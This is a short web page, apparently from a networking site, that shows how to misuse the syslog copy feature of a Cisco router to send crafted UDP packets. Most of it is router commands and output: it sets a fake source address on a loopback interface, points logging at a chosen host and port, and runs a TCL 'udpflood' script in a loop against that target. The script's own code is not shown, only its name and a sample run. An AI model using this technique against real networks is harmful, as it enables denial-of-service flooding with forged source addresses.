packetlevel.ch

udpflood TCL Script

generating udp packets on a Cisco Router, is not simple, but with missusing of "syslogging", you can built your own UDP Packets.
The command "show file systems" displays a device, named syslog:.

	evil-router#show file systems
	File Systems:
	
	     Size(b)     Free(b)      Type  Flags  Prefixes
	           -           -    opaque     rw   archive:
	           -           -    opaque     rw   system:
	           -           -   network     rw   snmp:
	           -           -    opaque     rw   null:
	           -           -   network     rw   tftp:
	           -           -    opaque     ro   xmodem:
	           -           -    opaque     ro   ymodem:
	*   31936512    14659584      disk     rw   flash:#
	      196600      187179     nvram     rw   nvram:
	           -           -    opaque     wo   syslog:
	           -           -   network     rw   rcp:
	           -           -   network     rw   pram:
	           -           -   network     rw   ftp:
	           -           -   network     rw   http:
	           -           -   network     rw   scp:
	           -           -    opaque     ro   tar:
	           -           -   network     rw   https:
	           -           -    opaque     ro   cns:

And if you copy a file to this devices, the file is send via syslog to the deviend syslog server.
Requierement, Logging must be on an level bust be debugging

	evil-router#copy flood.txt syslog:
	
	900 bytes copied in 0.016 secs (56250 bytes/sec)
	evil-router#

And the syslog command supports some add features, like specifing the protocol (TCP/UDP) and the destination port, or you can define the source IP address
config Samle:

	evil-router#
	evil-router#conf t
	Enter configuration commands, one per line.  End with CNTL/Z.
	evil-router(config)#interface loopback 1
	evil-router(config-if)#ip address 1.2.3.4 255.255.255.255
	evil-router(config-if)#exit
	evil-router(config)#logging on
	evil-router(config)#logging trap 7
	evil-router(config)#logging host 192.168.2.100 transport udp port 12345
	evil-router(config)#logging source-interface loopback 1
	evil-router(config)#exit
	evil-router#
	evil-router#copy flood.txt syslog:
	
	900 bytes copied in 0.012 secs (75000 bytes/sec)‏
	evil-router#

And if you create a TCL script, with a smale for-next loop, you have a easy udpflooding tool.

	evil-router(tcl)#udpflood
	UDP flood
	Destination IP:192.168.2.100 
	Destination Port:12345
	Source IP:1.2.3.4
	Count:10
	logging host 192.168.2.100  transport udp port 12345
	
	evil-router(tcl)#

udpflood.tcl Version 0.6
udpflood.tcl